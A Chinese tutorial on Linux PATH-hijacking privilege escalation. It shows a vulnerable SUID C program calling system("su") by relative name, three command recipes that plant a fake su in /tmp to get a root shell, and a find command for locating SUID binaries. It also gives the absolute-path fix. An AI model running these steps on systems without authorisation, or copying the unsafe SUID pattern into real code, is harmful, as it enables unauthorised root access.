Linux环境变量提权主要用于通过编程语言写的一些程序在调用系统命令时,书写的不严谨的问题。本文写的内容主要是以C语言下调用系统进程为例。在通过C语言写的一些程序,通常想让普通用户也能以root权限执行(s权限位),而在system调用时,写的不严谨,未使用绝对路径,这就给了普通用户可程之机(不同发行版有些命令位置不一样,可能一些人只是出于通用性考虑,认为只写下命令,系统可以通过环境变量匹配到相应的命令,不过这也埋下了隐患)。

一、环境变量提权示例

假设当前有一段C代码如下:

1#include<unistd.h>
2void main() {
3  setuid(0);
4  setgid(0);
5  system("su - zabbix");
6}

上面这是一段非常简单的代码,就是让普通用户都可以直接以root权限切换到zabbix用户,当然如果这个程序不给 s 权限位是执行不成功的。下面我们给其 s 权限位。

1[root@localhost srv]# gcc demo.c -o switch
2[root@localhost srv]# chmod u+s switch

但在老实人和坏人在看到这个程序时,可能就会有不同的操作,如下图:

path-attack
path-attack

老实人直接执行了程序并自动切换用户到了zabbix,不过坏人可能就会想切换用户无非就是 su,因为用户自身的环境变量是可以自定义的,其用另一个位置的环境配置在当前环境之前,并且命名一个su文件,里面可以随便写内容进行欺骗。最终执行的结果大家都看到了。当然程序如果使用了su的绝对路径就不会出现该问题了

二、攻击方法

1、echo命令法

1echo "/bin/bash" > /tmp/su
2chmod 777 /tmp/su
3echo $PATH
4export PATH=/tmp:$PATH
5cd /srv
6./switch

2、cp法

1cp /bin/sh /tmp/su
2export PATH=/tmp:$PATH
3cd /srv
4./switch

3、软链接法

1ln -s /bin/sh /tmp/su
2export PATH=/tmp:$PATH
3cd /srv
4./switch

三、其他

最上面的C代码示例,也可以将system里执行的命令换成其他,效果也是一样的。对于其他语言给了s权限位的就更好处理了,像python、shell这样的程序是能直接读取出来源代码是什么的,能看出来里面具体调用的什么,都省去猜测的过程了。直接看到调用的什么命令,就按上面的步骤增加一个位置为环境变量,使其在/bin,/sbin之前就行了。如果要找到所有的s权限位文件,也可以通过如下命令查找:

1find / -perm -u=s -type f 2>/dev/null 或者权限位大于4000的